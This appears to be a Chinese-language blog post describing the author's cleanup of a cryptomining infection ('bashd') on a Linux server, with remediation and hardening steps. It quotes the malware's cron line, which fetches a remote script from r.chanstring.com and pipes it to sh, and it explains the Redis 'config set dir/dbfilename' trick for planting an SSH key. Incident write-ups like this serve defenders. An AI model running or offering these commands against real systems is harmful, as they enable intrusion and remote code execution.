今天同事反馈公司的某台服务器远程连接不上,登录服务器查看后,发现CPU使用率居高不下。kill掉后,一分钟有自动生成,整个排查思路如下:
1、top 命令查看主机负载,确认可疑进程为bashd
2、确认可疑进程尝试杀掉,pkill bashd ,但发现一会就出现,怀疑有定时任务
3、 排查定时任务,定时任务有2处可以设置,如下:
crontab –l 发现并没有定时任务
/etc/crontab 确实有定时任务,将其删除
4、检查开机自启动设置/etc/rc.loacl,果然放入了启动任务,将其删除。
5、 #find /-name bashd*
/root/bashd
/usr/sbin/bashd
查找bashd,发现有2个/usr/sbin/bash 删除后1分钟自动生成,/root/bashd 删除时提示rm 命令错误,使用想到查看其权限,
#chattr –i /root/bashd
#rm –rf /root/bashd #修改权限后可以删除了
6、可能是免密登录了,去/root/.ssh目录,果然有可疑的文件存在 bash。
7、 在ssh配置文件/etc/ssh/sshd_config中也看到把authorizeKEYfile指向了这个文件(bash).猜想是这样的,通过authorized_keys免秘钥登录后,在这个目录下创建了bash文件,修改了AuthorizedKeyfile的指向,root也设置了远端登录。
那么是写进来authorized_keys的那?
应该是redis未授权导致的,也就是说外网可以直接不用密码登录我的redis, 连上redis后,通过以下命令即可创建文件:
config set dir /root/.ssh
config set dbfilenameauthorized_keys
set key value,其中value为生成公钥,即可将公钥保存在服务器,使得登录时不需要输入账号与密码。
8、 先堵住免登录漏洞
1)、修改ssh 端口号
2)、禁止root登录
3)、修改无密码登陆文件的路径
4)、删除.ssh 下的bashd
5)、外网只映射80、22,关闭其他端口。
9、经过一顿折腾,总算把漏洞堵住了,病毒也删除了,重启后观察半小时,服务器正常。
总结:大概是这样的
1)把 */1* * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 写入crontab
2)创建免登录文件/root/.ssh/bash,修改ssh配置authorized_keys指向.ssh/bash,重启
3)curl下载/opt/KHK75NEOiq33 这个文件,并执行安装(/opt/KHK75NEOiq33--Install),然后启动bashd
杀毒过程:
1)top 检查可疑进程,pkill 杀死进程,如果进程还能存在,说明一定有定时任务或守护进程(开机启动),检查/var/spool/cron/root 和/etc/crontab 和/etc/rc.lcoal
2)找到可疑程序的位置将其删除,如果删除不掉,查看隐藏权限。lsattr chattr 修改权限后将其删除即可。
3)查看/root/.ssh/目录下是否设置了免秘钥登陆,并查看ssh_config配置文件是否被篡改。
4)在防火墙关闭不必要的映射端口号,重启再测试是否还会有可疑进程存在。大致就这几个方面的考虑。
到此为止,由于时间关系就没有放截图上来。